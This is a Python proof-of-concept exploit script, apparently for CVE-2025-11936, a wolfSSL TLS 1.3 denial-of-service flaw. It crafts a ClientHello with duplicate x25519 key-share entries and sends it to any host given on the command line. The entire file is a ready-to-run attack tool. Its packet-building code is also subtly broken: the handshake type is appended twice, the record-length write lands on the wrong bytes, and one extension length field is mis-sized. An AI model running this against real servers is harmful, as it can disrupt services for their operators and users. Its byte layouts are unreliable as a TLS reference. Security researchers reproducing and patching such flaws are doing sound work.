import socket
import ssl
import struct
def create_malicious_client_hello():
"""
PoC for CVE-2025-11936: wolfSSL TLS 1.3 KeyShareEntry DoS
Creates a ClientHello with duplicate KeyShareEntry values
"""
# TLS 1.3 ClientHello with duplicate KeyShareEntry
client_hello = bytearray()
# TLS Record Header (Content Type: Handshake)
client_hello.extend([0x16, 0x03, 0x01])
# Handshake type: ClientHello (1)
client_hello.append(0x01)
# We will construct the handshake message body
handshake_body = bytearray()
# Version: TLS 1.2 (for compatibility)
handshake_body.extend([0x03, 0x03])
# Random (32 bytes)
handshake_body.extend([0x00] * 32)
# Session ID length
handshake_body.extend([0x00])
# Cipher Suites (2 bytes length + suites)
cipher_suites = bytearray([
0x13, 0x01, # TLS_AES_128_GCM_SHA256
0x13, 0x02 # TLS_AES_256_GCM_SHA384
])
handshake_body.extend(struct.pack('>H', len(cipher_suites)))
handshake_body.extend(cipher_suites)
# Compression methods
handshake_body.extend([0x01, 0x00])
# Extensions
extensions = bytearray()
# Extension: supported_versions (0x002b)
supported_versions_ext = bytearray([
0x00, 0x2b, # Extension type
])
version_data = bytearray([
0x00, 0x02, # Length
0x03, 0x04 # TLS 1.3
])
supported_versions_ext.extend(struct.pack('>H', len(version_data)))
supported_versions_ext.extend(version_data)
extensions.extend(supported_versions_ext)
# Extension: key_share (0x0033) - with DUPLICATE entries
key_share_ext = bytearray([
0x00, 0x33, # Extension type
])
# KeyShareEntry 1 - x25519 (0x001d)
key_share_entry1 = bytearray([
0x00, 0x1d, # Supported group: x25519
0x00, 0x20, # Key exchange length: 32 bytes
])
key_share_entry1.extend([0x41] * 32) # Fake key material
# KeyShareEntry 2 - DUPLICATE x25519 (same group!)
key_share_entry2 = bytearray([
0x00, 0x1d, # Supported group: x25519 (DUPLICATE!)
0x00, 0x20, # Key exchange length: 32 bytes
])
key_share_entry2.extend([0x42] * 32) # Different fake key material
key_share_data = key_share_entry1 + key_share_entry2
key_share_ext.extend(struct.pack('>H', len(key_share_data)))
key_share_ext.extend(key_share_data)
extensions.extend(key_share_ext)
# Extension length
extensions_length = struct.pack('>H', len(extensions))
# Handshake body
handshake_body.extend(extensions_length)
handshake_body.extend(extensions)
# Handshake length
handshake_length = struct.pack('>I', len(handshake_body))[1:]
client_hello.extend([0x01]) # Handshake type: ClientHello
client_hello.extend(handshake_length)
client_hello.extend(handshake_body)
# Update record length
record_length = struct.pack('>H', len(client_hello) - 5)
client_hello[3:5] = record_length
return bytes(client_hello)
def exploit(target_host, target_port=443):
"""
Send malicious ClientHello to trigger DoS
"""
print(f"[*] Sending malicious ClientHello to {target_host}:{target_port}")
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((target_host, target_port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
# This will fail, but we sent the malicious ClientHello
pass
except Exception as e:
print(f"[*] Connection result: {type(e).__name__}")
malicious_hello = create_malicious_client_hello()
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_host, target_port))
sock.send(malicious_hello)
print("[+] Malicious ClientHello sent successfully")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
exploit(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443)
else:
print("Usage: python cve_2025_11936_poc.py <target_host> [port]")